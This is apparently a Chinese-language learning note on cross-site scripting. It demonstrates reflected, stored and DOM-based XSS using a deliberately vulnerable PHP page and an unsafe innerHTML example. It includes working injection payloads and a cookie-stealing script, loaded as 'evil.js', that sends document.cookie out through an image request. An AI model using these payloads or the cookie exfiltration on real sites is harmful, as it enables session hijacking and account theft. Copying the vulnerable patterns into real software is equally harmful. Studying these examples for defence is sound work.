XSS是个啥? ###

XSS 跨站脚本攻击。通过HTML注入篡改网页,插入恶意脚本。
啥是XSS?
首先我们写了一个PHP

<?php

$input = $_GET["id"];
echo "<div>".$input."</div>";

?>

http://localhost/PHPlearning/PHPshuzu.php?id=1
如果正常的话,提交了一个id后,会echo 的是 1
但是有些人就是想没事找事。构造

payload = <script>alert(hahahahaha)</script>

于是,页面就弹出来了一个”hahahaha”的提示框
这就是所谓的反射性XSS

 

存储性XSS

有些黑客就更加厉害了,表面上协议一篇博客,但是内嵌了js的代码,然后用脚本把代码保存到用户的客户端。这也是n年前,各种挂黑页的现象了。

DOM BASED XSS

修改页面DOM节点产生的XSS如下代码

<!DOCTYPE html>
<html lang="en">
<head>
    <script>
        function test() {
            var str=document.getElementById("text").value;
            document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
        }
    </script>
    <meta charset="UTF-8">
    <title>test</title>
</head>
<body>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()"/>

</body>
</html>

观察语句:

document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";

愚蠢的程序员居然让用户自己把TEXTT的内容写进去。通过构造payload

' onclick=alert(/xss/) //
'><img =src # onerror=alert(/xss/) /><'

第一个’ 闭合了str中前面’,然后构造点击事件,并用//注释掉后面的内容。
第二个闭合了html标签,构造点击事件,然后闭合后面的标签。达到了跨站攻击的目的。

COOKIE劫持 的XSS 玩法

首先,我写了一个有很大问题的php ,就是上面那个
然后,又写了个JS的脚本,

var img=document.createElement("img");
img.src = "http://localhost/phplearning/dog1.jpg"+escape(document.cookie);
document.body.appendChild(img);

表面上看上去是插入了张图片,实际上截获了cookie的数据。
这种方法有很多扩展,不一定是截获cookie数据,还有很多方式,完全看你js的功底和网站的安全程度
然后构造payload

http://localhost/PHPlearning/PHPshuzu.php?id=%3Cscript%20src=http://localhost/WEBSTORM/evil.js%20%3E%3C/script%3E

这个payload会打开js脚本,并截获cookie数据。
然后,打开apache的浏览日志。就会看到访问了。

127.0.0.1 - - [13/Jan/2018:19:35:06 +0800] “GET /WEBSTORM/evil.js HTTP/1.1” 304
甚至可以通过劫持cookie来登录账户
但是cookie的”HTTPONLY”会让劫持失效。

构造GET 和POST请求

除了截获cookie外,GET和POST请求也是可以构造的。


目前就简单写一点,说句实话,自己JS的功底真的不是很好。之后还会写其他的笔记。包括对题目的WRITEUP ,别的攻击方式的解析等等。
看书有点看着头大,先去网上逛逛。